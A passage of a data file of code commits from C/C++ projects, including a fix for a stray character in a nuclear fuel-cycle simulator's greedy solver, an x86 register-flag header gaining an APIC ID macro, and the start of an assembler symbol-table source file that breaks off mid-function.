{"text":"<commit_before>#include \"greedy_solver.h\"\n\n#include <algorithm>\n#include <cassert>\n#include <functional>\n#include <vector>\n\n#include \"cyc_limits.h\"\n#include \"error.h\"\n#include \"logger.h\"\n\nnamespace cyclus {\n\ndouble Capacity(const Arc& a, double u_curr_qty, double v_curr_qty) {\n  bool min = true;\n  double ucap = Capacity(a.unode(), a, !min, u_curr_qty);\n  double vcap = Capacity(a.vnode(), a, min, v_curr_qty);\n\n  CLOG(cyclus::LEV_DEBUG1) << \"Capacity for unode of arc: \" << ucap;\n  CLOG(cyclus::LEV_DEBUG1) << \"Capacity for vnode of arc: \" << vcap;\n  CLOG(cyclus::LEV_DEBUG1) << \"Capacity for arc         : \"\n                           << std::min(ucap, vcap);\n\n  return std::min(ucap, vcap);\n}\n\ndouble Capacity(ExchangeNode::Ptr n, const Arc& a, bool min_cap,\n                double curr_qty) {\n  if (n->group == NULL) {\n    throw cyclus::StateError(\"An notion of node capacity requires a nodegroup.\");\n  }\n\n  if (n->unit_capacities[a].size() == 0) {\n    return n->qty - curr_qty;\n  }\n\n  std::vector<double>& unit_caps = n->unit_capacities[a];\n  const std::vector<double>& group_caps = n->group->capacities();\n  std::vector<double> caps;\n  double grp_cap, u_cap, cap;\n\n  for (int i = 0; i < unit_caps.size(); i++) {\n    grp_cap = group_caps[i];\n    u_cap = unit_caps[i];\n    cap = grp_cap \/ u_cap;\n    CLOG(cyclus::LEV_DEBUG1) << \"Capacity for node: \";\n    CLOG(cyclus::LEV_DEBUG1) << \"   group capacity: \" << grp_cap;\n    CLOG(cyclus::LEV_DEBUG1) << \"    unit capacity: \" << u_cap;\n    CLOG(cyclus::LEV_DEBUG1) << \"         capacity: \" << cap;\n\n    \/\/ special case for unlimited capacities\n    if (grp_cap == std::numeric_limits<double>::max()) {\n      caps.push_back(std::numeric_limits<double>::max());\n    } else {\n      caps.push_back(cap);\n    }\n  }\n\n  if (min_cap) {  \/\/ the smallest value is constraining (for bids)\n    cap = *std::min_element(caps.begin(), caps.end());\n  } else {  \/\/ the largest value must be met (for requests)\n    cap = *std::max_element(caps.begin(), caps.end());\n  }\n  return std::min(cap, n->qty - curr_qty);\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGreedySolver::GreedySolver(bool exclusive_orders, GreedyPreconditioner* c)\n    : conditioner_(c),\n      ExchangeSolver(exclusive_orders) {}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGreedySolver::~GreedySolver() {\n  if (conditioner_ != NULL)\n    delete conditioner_;\n}\n\nvoid GreedySolver::Condition() {\n  if (conditioner_ == NULL)\n    conditioner_ = new GreedyPreconditioner(std::map<std::string, double>());\n\n  conditioner_->Condition(graph_);\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\ndouble GreedySolver::SolveGraph() {\n  Condition();\n  obj_ = 0;\n  unmatched_ = 0;\n  n_qty_.clear();\n  \n  std::for_each(graph_->request_groups().begin(),\n                graph_->request_groups().end(),\n                std::bind1st(\n                    std::mem_fun(&GreedySolver::Init_),\n                    this));\n\n  std::for_each(graph_->supply_groups().begin(),\n                graph_->supply_groups().end(),\n                std::bind1st(\n                    std::mem_fun(&GreedySolver::Init_),\n                    this));\n\n  std::for_each(graph_->request_groups().begin(),\n                graph_->request_groups().end(),\n                std::bind1st(\n                    std::mem_fun(&GreedySolver::GreedilySatisfySet_),\n                    this));\n\n  obj_ += unmatched_ * PseudoCost_();\n  return obj_;\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid GreedySolver::Init_(ExchangeNodeGroup::Ptr g) {\n  for (int i = 0; i != g->nodes().size(); i++) {\n    n_qty_[g->nodes()[i]] = 0;\n  }\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid GreedySolver::GreedilySatisfySet_(RequestGroup::Ptr prs) {\n  std::vector<ExchangeNode::Ptr>& nodes = prs->nodes();\n  std::stable_sort(nodes.begin(), nodes.end(), AvgPrefComp);\n\n  std::vector<ExchangeNode::Ptr>::iterator req_it = nodes.begin();\n  double target = prs->qty();\n  double match = 0;\n\n  ExchangeNode::Ptr u, v;\n  std::vector<Arc>::const_iterator arc_it;\n  std::vector<Arc> sorted;\n  double remain, tomatch, excl_val;\n\n  CLOG(LEV_DEBUG1) << \"Greedy Solving for \" << target\n                   << \" amount of a resource.\";\n\n  while ((match <= target) && (req_it != nodes.end())) {\n    \/\/ this if statement is needed because map.at() will throw if the key does\n    \/\/ not exist, which is a corner case for when there is a request with no bid\n    \/\/ arcs associated with it\n    if (graph_->node_arc_map().count(*req_it) > 0) {\n      const std::vector<Arc>& arcs = graph_->node_arc_map().at(*req_it);\n      sorted = std::vector<Arc>(arcs);  \/\/ make a copy for now\n      std::stable_sort(sorted.begin(), sorted.end(), ReqPrefComp);\n      arc_it = sorted.begin();\n\n      while ((match <= target) && (arc_it != sorted.end())) {\n        remain = target - match;\n        const Arc& a = *arc_it;\n        u = a.unode();\n        v = a.vnode();\n\n        \/\/ capacity adjustment\n        tomatch = std::min(remain, Capacity(a, n_qty_[u], n_qty_[v]));\n\n        \/\/ exclusivity adjustment\n        if (arc_it->exclusive()) {\n          excl_val = a.excl_val();\n          tomatch = (tomatch < excl_val) ? 0 : excl_val;\n        }\n\n        if (tomatch > eps()) {\n          CLOG(LEV_DEBUG1) << \"Greedy Solver is matching \" << tomatch\n                           << \" amount of a resource.\";\n          UpdateCapacity_(u, a, tomatch);\n          UpdateCapacity_(v, a, tomatch);\n          n_qty_[u] += tomatch;\n          n_qty_[v] += tomatch;\n          graph_->AddMatch(a, tomatch);\n\n          match += tomatch;\n          UpdateObj_(tomatch, u->prefs[a]);\n        }\n        ++arc_it;\n      }  \/\/ while( (match =< target) && (arc_it != arcs.end()) )\n    }  \/\/ if(graph_->node_arc_map().count(*req_it) > 0)\n    ++req_it;\n  }  \/\/ while( (match =< target) && (req_it != nodes.end()) )\n\n  unmatched_ += target - match;\n}\n\nvoid GreedySolver::UpdateObj_(double qty, double pref) {\n  \/\/ updates minimizing object (i.e., 1\/pref is a cost and the objective is cost\n  \/\/ * flow)\n  obj_ += qty \/ pref;\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid GreedySolver::UpdateCapacity_(ExchangeNode::Ptr n, const Arc& a,\n                                   double qty) {\n  using cyclus::IsNegative;\n  using cyclus::ValueError;\n\n  std::vector<double>& unit_caps = n->unit_capacities[a];\n  std::vector<double>& caps = n->group->capacities();\n  assert(unit_caps.size() == caps.size());\n  for (int i = 0; i < caps.size(); i++) {\n    double prev = caps[i];\n    \/\/ special case for unlimited capacities\n    CLOG(cyclus::LEV_DEBUG1) << \"Updating capacity value from: \"\n                             << prev;\n    caps[i] = (prev == std::numeric_limits<double>::max()) ?\n              std::numeric_limits<double>::max() :\n              prev - qty * unit_caps[i];\n    CLOG(cyclus::LEV_DEBUG1) << \"                          to: \"\n                             << caps[i];\n  }\n\n  if (IsNegative(n->qty - qty)) {\n    std::stringstream ss;\n    ss << \"A bid for \" << n->commod << \" was set at \" << n->qty\n       << \" but has been matched to a higher value \" << qty\n       << \". This could be due to a problem with your \"\n       << \"bid portfolio constraints.\";\n    throw ValueError(ss.str());\n  }\n}\n\ndouble GreedySolver::PseudoCost_() {\n  std::vector<ExchangeNode::Ptr>::iterator n_it;\n  std::map<Arc, std::vector<double> >::iterator c_it;\n  std::map<Arc, double>::iterator p_it;\n  std::vector<RequestGroup::Ptr>::iterator rg_it;\n  std::vector<ExchangeNodeGroup::Ptr>::iterator sg_it;\n  double min_cap, pref, coeff;\n\n  double max_coeff = std::numeric_limits<double>::min();\n  double min_unit_cap = std::numeric_limits<double>::max();\n\n  for (sg_it = graph_->supply_groups().begin();\n       sg_it != graph_->supply_groups().end();\n       ++sg_it) {\n    std::vector<ExchangeNode::Ptr>& nodes = (*sg_it)->nodes();\n    for (n_it = nodes.begin(); n_it != nodes.end(); ++n_it) {\n      \/\/ update min_unit_cap\n      std::map<Arc, std::vector<double> >::iterator c_it;\n      std::map<Arc, std::vector<double> >& caps = (*n_it)->unit_capacities;\n      for (c_it = caps.begin(); c_it != caps.end(); ++c_it) {\n        std::vector<double>& ucaps = c_it->second; \n        if (!ucaps.empty()) {\n          min_cap = *std::min_element(ucaps.begin(), ucaps.end());\n          if (min_cap < min_unit_cap)\n            min_unit_cap = min_cap;\n        }\n      }\n    }\n  }\n\n  for (rg_it = graph_->request_groups().begin();\n       rg_it != graph_->request_groups().end();\n       ++rg_it) {\n    std::vector<ExchangeNode::Ptr>& nodes = (*rg_it)->nodes();\n    for (n_it = nodes.begin(); n_it != nodes.end(); ++n_it) {\n      \/\/ update min_unit_cap\n      std::map<Arc, std::vector<double> >::iterator c_it;\n      std::map<Arc, std::vector<double> >& caps = (*n_it)->unit_capacities;\n      for (c_it = caps.begin(); c_it != caps.end(); ++c_it) {\n        std::vector<double>& ucaps = c_it->second; \n        if (!ucaps.empty()) {\n          min_cap = *std::min_element(ucaps.begin(), ucaps.end());\n          if (min_cap < min_unit_cap)\n            min_unit_cap = min_cap;\n        }\n      }\no      \n      \/\/ update max_pref_\n      std::map<Arc, double>& prefs = (*n_it)->prefs;\n      for (p_it = prefs.begin(); p_it != prefs.end(); ++p_it) {\n        pref = p_it->second;\n        const Arc& a = p_it->first;\n        coeff = (exclusive_orders_ && a.exclusive()) ?\n                a.excl_val() \/ pref : 1.0 \/ pref;\n        if (coeff > max_coeff)\n          max_coeff = coeff;\n      }\n    }\n  }\n\n  double cost_add_ = 1; \/\/ this matches the prog_solver faux arc costs\n  return max_coeff \/ min_unit_cap + cost_add_;\n}\n\n}  \/\/ namespace cyclus\n<commit_msg>errant o<commit_after>#include \"greedy_solver.h\"\n\n#include <algorithm>\n#include <cassert>\n#include <functional>\n#include <vector>\n\n#include \"cyc_limits.h\"\n#include \"error.h\"\n#include \"logger.h\"\n\nnamespace cyclus {\n\ndouble Capacity(const Arc& a, double u_curr_qty, double v_curr_qty) {\n  bool min = true;\n  double ucap = Capacity(a.unode(), a, !min, u_curr_qty);\n  double vcap = Capacity(a.vnode(), a, min, v_curr_qty);\n\n  CLOG(cyclus::LEV_DEBUG1) << \"Capacity for unode of arc: \" << ucap;\n  CLOG(cyclus::LEV_DEBUG1) << \"Capacity for vnode of arc: \" << vcap;\n  CLOG(cyclus::LEV_DEBUG1) << \"Capacity for arc         : \"\n                           << std::min(ucap, vcap);\n\n  return std::min(ucap, vcap);\n}\n\ndouble Capacity(ExchangeNode::Ptr n, const Arc& a, bool min_cap,\n                double curr_qty) {\n  if (n->group == NULL) {\n    throw cyclus::StateError(\"An notion of node capacity requires a nodegroup.\");\n  }\n\n  if (n->unit_capacities[a].size() == 0) {\n    return n->qty - curr_qty;\n  }\n\n  std::vector<double>& unit_caps = n->unit_capacities[a];\n  const std::vector<double>& group_caps = n->group->capacities();\n  std::vector<double> caps;\n  double grp_cap, u_cap, cap;\n\n  for (int i = 0; i < unit_caps.size(); i++) {\n    grp_cap = group_caps[i];\n    u_cap = unit_caps[i];\n    cap = grp_cap \/ u_cap;\n    CLOG(cyclus::LEV_DEBUG1) << \"Capacity for node: \";\n    CLOG(cyclus::LEV_DEBUG1) << \"   group capacity: \" << grp_cap;\n    CLOG(cyclus::LEV_DEBUG1) << \"    unit capacity: \" << u_cap;\n    CLOG(cyclus::LEV_DEBUG1) << \"         capacity: \" << cap;\n\n    \/\/ special case for unlimited capacities\n    if (grp_cap == std::numeric_limits<double>::max()) {\n      caps.push_back(std::numeric_limits<double>::max());\n    } else {\n      caps.push_back(cap);\n    }\n  }\n\n  if (min_cap) {  \/\/ the smallest value is constraining (for bids)\n    cap = *std::min_element(caps.begin(), caps.end());\n  } else {  \/\/ the largest value must be met (for requests)\n    cap = *std::max_element(caps.begin(), caps.end());\n  }\n  return std::min(cap, n->qty - curr_qty);\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGreedySolver::GreedySolver(bool exclusive_orders, GreedyPreconditioner* c)\n    : conditioner_(c),\n      ExchangeSolver(exclusive_orders) {}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nGreedySolver::~GreedySolver() {\n  if (conditioner_ != NULL)\n    delete conditioner_;\n}\n\nvoid GreedySolver::Condition() {\n  if (conditioner_ == NULL)\n    conditioner_ = new GreedyPreconditioner(std::map<std::string, double>());\n\n  conditioner_->Condition(graph_);\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\ndouble GreedySolver::SolveGraph() {\n  Condition();\n  obj_ = 0;\n  unmatched_ = 0;\n  n_qty_.clear();\n  \n  std::for_each(graph_->request_groups().begin(),\n                graph_->request_groups().end(),\n                std::bind1st(\n                    std::mem_fun(&GreedySolver::Init_),\n                    this));\n\n  std::for_each(graph_->supply_groups().begin(),\n                graph_->supply_groups().end(),\n                std::bind1st(\n                    std::mem_fun(&GreedySolver::Init_),\n                    this));\n\n  std::for_each(graph_->request_groups().begin(),\n                graph_->request_groups().end(),\n                std::bind1st(\n                    std::mem_fun(&GreedySolver::GreedilySatisfySet_),\n                    this));\n\n  obj_ += unmatched_ * PseudoCost_();\n  return obj_;\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid GreedySolver::Init_(ExchangeNodeGroup::Ptr g) {\n  for (int i = 0; i != g->nodes().size(); i++) {\n    n_qty_[g->nodes()[i]] = 0;\n  }\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid GreedySolver::GreedilySatisfySet_(RequestGroup::Ptr prs) {\n  std::vector<ExchangeNode::Ptr>& nodes = prs->nodes();\n  std::stable_sort(nodes.begin(), nodes.end(), AvgPrefComp);\n\n  std::vector<ExchangeNode::Ptr>::iterator req_it = nodes.begin();\n  double target = prs->qty();\n  double match = 0;\n\n  ExchangeNode::Ptr u, v;\n  std::vector<Arc>::const_iterator arc_it;\n  std::vector<Arc> sorted;\n  double remain, tomatch, excl_val;\n\n  CLOG(LEV_DEBUG1) << \"Greedy Solving for \" << target\n                   << \" amount of a resource.\";\n\n  while ((match <= target) && (req_it != nodes.end())) {\n    \/\/ this if statement is needed because map.at() will throw if the key does\n    \/\/ not exist, which is a corner case for when there is a request with no bid\n    \/\/ arcs associated with it\n    if (graph_->node_arc_map().count(*req_it) > 0) {\n      const std::vector<Arc>& arcs = graph_->node_arc_map().at(*req_it);\n      sorted = std::vector<Arc>(arcs);  \/\/ make a copy for now\n      std::stable_sort(sorted.begin(), sorted.end(), ReqPrefComp);\n      arc_it = sorted.begin();\n\n      while ((match <= target) && (arc_it != sorted.end())) {\n        remain = target - match;\n        const Arc& a = *arc_it;\n        u = a.unode();\n        v = a.vnode();\n\n        \/\/ capacity adjustment\n        tomatch = std::min(remain, Capacity(a, n_qty_[u], n_qty_[v]));\n\n        \/\/ exclusivity adjustment\n        if (arc_it->exclusive()) {\n          excl_val = a.excl_val();\n          tomatch = (tomatch < excl_val) ? 0 : excl_val;\n        }\n\n        if (tomatch > eps()) {\n          CLOG(LEV_DEBUG1) << \"Greedy Solver is matching \" << tomatch\n                           << \" amount of a resource.\";\n          UpdateCapacity_(u, a, tomatch);\n          UpdateCapacity_(v, a, tomatch);\n          n_qty_[u] += tomatch;\n          n_qty_[v] += tomatch;\n          graph_->AddMatch(a, tomatch);\n\n          match += tomatch;\n          UpdateObj_(tomatch, u->prefs[a]);\n        }\n        ++arc_it;\n      }  \/\/ while( (match =< target) && (arc_it != arcs.end()) )\n    }  \/\/ if(graph_->node_arc_map().count(*req_it) > 0)\n    ++req_it;\n  }  \/\/ while( (match =< target) && (req_it != nodes.end()) )\n\n  unmatched_ += target - match;\n}\n\nvoid GreedySolver::UpdateObj_(double qty, double pref) {\n  \/\/ updates minimizing object (i.e., 1\/pref is a cost and the objective is cost\n  \/\/ * flow)\n  obj_ += qty \/ pref;\n}\n\n\/\/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nvoid GreedySolver::UpdateCapacity_(ExchangeNode::Ptr n, const Arc& a,\n                                   double qty) {\n  using cyclus::IsNegative;\n  using cyclus::ValueError;\n\n  std::vector<double>& unit_caps = n->unit_capacities[a];\n  std::vector<double>& caps = n->group->capacities();\n  assert(unit_caps.size() == caps.size());\n  for (int i = 0; i < caps.size(); i++) {\n    double prev = caps[i];\n    \/\/ special case for unlimited capacities\n    CLOG(cyclus::LEV_DEBUG1) << \"Updating capacity value from: \"\n                             << prev;\n    caps[i] = (prev == std::numeric_limits<double>::max()) ?\n              std::numeric_limits<double>::max() :\n              prev - qty * unit_caps[i];\n    CLOG(cyclus::LEV_DEBUG1) << \"                          to: \"\n                             << caps[i];\n  }\n\n  if (IsNegative(n->qty - qty)) {\n    std::stringstream ss;\n    ss << \"A bid for \" << n->commod << \" was set at \" << n->qty\n       << \" but has been matched to a higher value \" << qty\n       << \". This could be due to a problem with your \"\n       << \"bid portfolio constraints.\";\n    throw ValueError(ss.str());\n  }\n}\n\ndouble GreedySolver::PseudoCost_() {\n  std::vector<ExchangeNode::Ptr>::iterator n_it;\n  std::map<Arc, std::vector<double> >::iterator c_it;\n  std::map<Arc, double>::iterator p_it;\n  std::vector<RequestGroup::Ptr>::iterator rg_it;\n  std::vector<ExchangeNodeGroup::Ptr>::iterator sg_it;\n  double min_cap, pref, coeff;\n\n  double max_coeff = std::numeric_limits<double>::min();\n  double min_unit_cap = std::numeric_limits<double>::max();\n\n  for (sg_it = graph_->supply_groups().begin();\n       sg_it != graph_->supply_groups().end();\n       ++sg_it) {\n    std::vector<ExchangeNode::Ptr>& nodes = (*sg_it)->nodes();\n    for (n_it = nodes.begin(); n_it != nodes.end(); ++n_it) {\n      \/\/ update min_unit_cap\n      std::map<Arc, std::vector<double> >::iterator c_it;\n      std::map<Arc, std::vector<double> >& caps = (*n_it)->unit_capacities;\n      for (c_it = caps.begin(); c_it != caps.end(); ++c_it) {\n        std::vector<double>& ucaps = c_it->second; \n        if (!ucaps.empty()) {\n          min_cap = *std::min_element(ucaps.begin(), ucaps.end());\n          if (min_cap < min_unit_cap)\n            min_unit_cap = min_cap;\n        }\n      }\n    }\n  }\n\n  for (rg_it = graph_->request_groups().begin();\n       rg_it != graph_->request_groups().end();\n       ++rg_it) {\n    std::vector<ExchangeNode::Ptr>& nodes = (*rg_it)->nodes();\n    for (n_it = nodes.begin(); n_it != nodes.end(); ++n_it) {\n      \/\/ update min_unit_cap\n      std::map<Arc, std::vector<double> >::iterator c_it;\n      std::map<Arc, std::vector<double> >& caps = (*n_it)->unit_capacities;\n      for (c_it = caps.begin(); c_it != caps.end(); ++c_it) {\n        std::vector<double>& ucaps = c_it->second; \n        if (!ucaps.empty()) {\n          min_cap = *std::min_element(ucaps.begin(), ucaps.end());\n          if (min_cap < min_unit_cap)\n            min_unit_cap = min_cap;\n        }\n      }\n      \n      \/\/ update max_pref_\n      std::map<Arc, double>& prefs = (*n_it)->prefs;\n      for (p_it = prefs.begin(); p_it != prefs.end(); ++p_it) {\n        pref = p_it->second;\n        const Arc& a = p_it->first;\n        coeff = (exclusive_orders_ && a.exclusive()) ?\n                a.excl_val() \/ pref : 1.0 \/ pref;\n        if (coeff > max_coeff)\n          max_coeff = coeff;\n      }\n    }\n  }\n\n  double cost_add_ = 1; \/\/ this matches the prog_solver faux arc costs\n  return max_coeff \/ min_unit_cap + cost_add_;\n}\n\n}  \/\/ namespace cyclus\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>gui: fix non-gui build missing symbols<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/ Eflags register\n#define FL_CF           0x00000001      \/\/ Carry Flag\n#define FL_PF           0x00000004      \/\/ Parity Flag\n#define FL_AF           0x00000010      \/\/ Auxiliary carry Flag\n#define FL_ZF           0x00000040      \/\/ Zero Flag\n#define FL_SF           0x00000080      \/\/ Sign Flag\n#define FL_TF           0x00000100      \/\/ Trap Flag\n#define FL_IF           0x00000200      \/\/ Interrupt Enable\n#define FL_DF           0x00000400      \/\/ Direction Flag\n#define FL_OF           0x00000800      \/\/ Overflow Flag\n#define FL_IOPL_MASK    0x00003000      \/\/ I\/O Privilege Level bitmask\n#define FL_IOPL_0       0x00000000      \/\/   IOPL == 0\n#define FL_IOPL_1       0x00001000      \/\/   IOPL == 1\n#define FL_IOPL_2       0x00002000      \/\/   IOPL == 2\n#define FL_IOPL_3       0x00003000      \/\/   IOPL == 3\n#define FL_NT           0x00004000      \/\/ Nested Task\n#define FL_RF           0x00010000      \/\/ Resume Flag\n#define FL_VM           0x00020000      \/\/ Virtual 8086 mode\n#define FL_AC           0x00040000      \/\/ Alignment Check\n#define FL_VIF          0x00080000      \/\/ Virtual Interrupt Flag\n#define FL_VIP          0x00100000      \/\/ Virtual Interrupt Pending\n#define FL_ID           0x00200000      \/\/ ID flag\n\n\/\/ Page fault error codes\n#define FEC_PR          0x1     \/\/ Page fault caused by protection violation\n#define FEC_WR          0x2     \/\/ Page fault caused by a write\n#define FEC_U           0x4     \/\/ Page fault occured while in user mode\n\n\/\/ Control Register flags\n#define CR0_PE\t\t0x00000001\t\/\/ Protection Enable\n#define CR0_MP\t\t0x00000002\t\/\/ Monitor coProcessor\n#define CR0_EM\t\t0x00000004\t\/\/ Emulation\n#define CR0_TS\t\t0x00000008\t\/\/ Task Switched\n#define CR0_ET\t\t0x00000010\t\/\/ Extension Type\n#define CR0_NE\t\t0x00000020\t\/\/ Numeric Errror\n#define CR0_WP\t\t0x00010000\t\/\/ Write Protect\n#define CR0_AM\t\t0x00040000\t\/\/ Alignment Mask\n#define CR0_NW\t\t0x20000000\t\/\/ Not Writethrough\n#define CR0_CD\t\t0x40000000\t\/\/ Cache Disable\n#define CR0_PG\t\t0x80000000\t\/\/ Paging\n\n#define CR4_PCE         0x100           \/\/ RDPMC at CPL > 0\n\n\/\/ FS\/GS base registers\n#define MSR_FS_BASE     0xc0000100\n#define MSR_GS_BASE     0xc0000101\n#define MSR_GS_KERNBASE 0xc0000102\n\n\/\/ SYSCALL and SYSRET registers\n#define MSR_STAR        0xc0000081\n#define MSR_LSTAR       0xc0000082\n#define MSR_CSTAR       0xc0000083\n#define MSR_SFMASK      0xc0000084\n\n\/\/ AMD performance event-select registers\n#define MSR_AMD_PERF_SEL0  0xC0010000\n#define MSR_AMD_PERF_SEL1  0xC0010001\n#define MSR_AMD_PERF_SEL2  0xC0010002\n#define MSR_AMD_PERF_SEL3  0xC0010003\n\/\/ AMD performance event-count registers\n#define MSR_AMD_PERF_CNT0  0xC0010004\n#define MSR_AMD_PERF_CNT1  0xC0010005\n#define MSR_AMD_PERF_CNT2  0xC0010006\n#define MSR_AMD_PERF_CNT3  0xC0010007\n\n\/\/ Intel performance event-select registers\n#define MSR_INTEL_PERF_SEL0 0x00000186\n#define MSR_INTEL_PERF_SEL1 0x00000187\n\/\/ Intel performance event-count registers\n#define MSR_INTEL_PERF_CNT0 0x000000c1\n#define MSR_INTEL_PERF_CNT1 0x000000c2\n\n\/\/ Common event-select bits\n#define PERF_SEL_USR        (1ULL << 16)\n#define PERF_SEL_OS         (1ULL << 17)\n#define PERF_SEL_EDGE       (1ULL << 18)\n#define PERF_SEL_INT        (1ULL << 20)\n#define PERF_SEL_ENABLE     (1ULL << 22)\n#define PERF_SEL_INV        (1ULL << 23)\n\n\/\/ CPUID function 0x00000001\n#define CPUID_FEATURES      0x00000001\n#define FEATURE_ECX_MWAIT   (1 << 3)\n\n\/\/ CPUID function 0x00000005\n#define CPUID_MWAIT         0x00000005\n\n<commit_msg>Bits for reading APICID from a cpuid register<commit_after>\/\/ Eflags register\n#define FL_CF           0x00000001      \/\/ Carry Flag\n#define FL_PF           0x00000004      \/\/ Parity Flag\n#define FL_AF           0x00000010      \/\/ Auxiliary carry Flag\n#define FL_ZF           0x00000040      \/\/ Zero Flag\n#define FL_SF           0x00000080      \/\/ Sign Flag\n#define FL_TF           0x00000100      \/\/ Trap Flag\n#define FL_IF           0x00000200      \/\/ Interrupt Enable\n#define FL_DF           0x00000400      \/\/ Direction Flag\n#define FL_OF           0x00000800      \/\/ Overflow Flag\n#define FL_IOPL_MASK    0x00003000      \/\/ I\/O Privilege Level bitmask\n#define FL_IOPL_0       0x00000000      \/\/   IOPL == 0\n#define FL_IOPL_1       0x00001000      \/\/   IOPL == 1\n#define FL_IOPL_2       0x00002000      \/\/   IOPL == 2\n#define FL_IOPL_3       0x00003000      \/\/   IOPL == 3\n#define FL_NT           0x00004000      \/\/ Nested Task\n#define FL_RF           0x00010000      \/\/ Resume Flag\n#define FL_VM           0x00020000      \/\/ Virtual 8086 mode\n#define FL_AC           0x00040000      \/\/ Alignment Check\n#define FL_VIF          0x00080000      \/\/ Virtual Interrupt Flag\n#define FL_VIP          0x00100000      \/\/ Virtual Interrupt Pending\n#define FL_ID           0x00200000      \/\/ ID flag\n\n\/\/ Page fault error codes\n#define FEC_PR          0x1     \/\/ Page fault caused by protection violation\n#define FEC_WR          0x2     \/\/ Page fault caused by a write\n#define FEC_U           0x4     \/\/ Page fault occured while in user mode\n\n\/\/ Control Register flags\n#define CR0_PE\t\t0x00000001\t\/\/ Protection Enable\n#define CR0_MP\t\t0x00000002\t\/\/ Monitor coProcessor\n#define CR0_EM\t\t0x00000004\t\/\/ Emulation\n#define CR0_TS\t\t0x00000008\t\/\/ Task Switched\n#define CR0_ET\t\t0x00000010\t\/\/ Extension Type\n#define CR0_NE\t\t0x00000020\t\/\/ Numeric Errror\n#define CR0_WP\t\t0x00010000\t\/\/ Write Protect\n#define CR0_AM\t\t0x00040000\t\/\/ Alignment Mask\n#define CR0_NW\t\t0x20000000\t\/\/ Not Writethrough\n#define CR0_CD\t\t0x40000000\t\/\/ Cache Disable\n#define CR0_PG\t\t0x80000000\t\/\/ Paging\n\n#define CR4_PCE         0x100           \/\/ RDPMC at CPL > 0\n\n\/\/ FS\/GS base registers\n#define MSR_FS_BASE     0xc0000100\n#define MSR_GS_BASE     0xc0000101\n#define MSR_GS_KERNBASE 0xc0000102\n\n\/\/ SYSCALL and SYSRET registers\n#define MSR_STAR        0xc0000081\n#define MSR_LSTAR       0xc0000082\n#define MSR_CSTAR       0xc0000083\n#define MSR_SFMASK      0xc0000084\n\n\/\/ AMD performance event-select registers\n#define MSR_AMD_PERF_SEL0  0xC0010000\n#define MSR_AMD_PERF_SEL1  0xC0010001\n#define MSR_AMD_PERF_SEL2  0xC0010002\n#define MSR_AMD_PERF_SEL3  0xC0010003\n\/\/ AMD performance event-count registers\n#define MSR_AMD_PERF_CNT0  0xC0010004\n#define MSR_AMD_PERF_CNT1  0xC0010005\n#define MSR_AMD_PERF_CNT2  0xC0010006\n#define MSR_AMD_PERF_CNT3  0xC0010007\n\n\/\/ Intel performance event-select registers\n#define MSR_INTEL_PERF_SEL0 0x00000186\n#define MSR_INTEL_PERF_SEL1 0x00000187\n\/\/ Intel performance event-count registers\n#define MSR_INTEL_PERF_CNT0 0x000000c1\n#define MSR_INTEL_PERF_CNT1 0x000000c2\n\n\/\/ Common event-select bits\n#define PERF_SEL_USR        (1ULL << 16)\n#define PERF_SEL_OS         (1ULL << 17)\n#define PERF_SEL_EDGE       (1ULL << 18)\n#define PERF_SEL_INT        (1ULL << 20)\n#define PERF_SEL_ENABLE     (1ULL << 22)\n#define PERF_SEL_INV        (1ULL << 23)\n\n\/\/ CPUID function 0x00000001\n#define CPUID_FEATURES      0x00000001\n#define FEATURE_ECX_MWAIT   (1 << 3)\n#define FEATURE_EBX_APIC(x) (((x) >> 24) & 0xff)\n\n\/\/ CPUID function 0x00000005\n#define CPUID_MWAIT         0x00000005\n<|endoftext|>"}
{"text":"<commit_before>#include \"stdafx.h\"\n#include \"Core\/SymbolTable.h\"\n#include \"Util\/FileClasses.h\"\n#include \"Util\/Util.h\"\n#include \"Common.h\"\n\nconst wchar_t validSymbolCharacters[] = L\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.\";\n\nbool operator<(SymbolKey const& lhs, SymbolKey const& rhs)\n{\n\tif (lhs.file != rhs.file)\n\t\treturn lhs.file < rhs.file;\n\tif (lhs.section != rhs.section)\n\t\treturn lhs.section < rhs.section;\n\treturn lhs.name.compare(rhs.name) < 0;\n}\n\nSymbolTable::SymbolTable()\n{\n\tuniqueCount = 0;\n}\n\nSymbolTable::~SymbolTable()\n{\n\tclear();\n}\n\nvoid SymbolTable::clear()\n{\n\tfor (size_t i = 0; i < labels.size(); i++)\n\t{\n\t\tdelete labels[i];\n\t}\n\n\tsymbols.clear();\n\tlabels.clear();\n\tequations.clear();\n\tuniqueCount = 0;\n}\n\nvoid SymbolTable::setFileSectionValues(const std::wstring& symbol, unsigned int& file, unsigned int& section)\n{\n\tif (symbol[0] == '@')\n\t{\n\t\tif (symbol[1] != '@')\n\t\t{\n\t\t\t\/\/ static label, @. the section doesn't matter\n\t\t\tsection = -1;\n\t\t}\n\t} else {\n\t\t\/\/ global label. neither file nor section matters\n\t\tfile = section = -1;\n\t}\n}\n\nLabel* SymbolTable::getLabel(const std::wstring& symbol, unsigned int file, unsigned int section)\n{\n\tif (isValidSymbolName(symbol) == false)\n\t\treturn NULL;\n\n\tint actualSection = section;\n\tsetFileSectionValues(symbol,file,section);\n\tSymbolKey key = { symbol, file, section };\n\n\t\/\/ find label, create new one if it doesn't exist\n\tauto it = symbols.find(key);\n\tif (it == 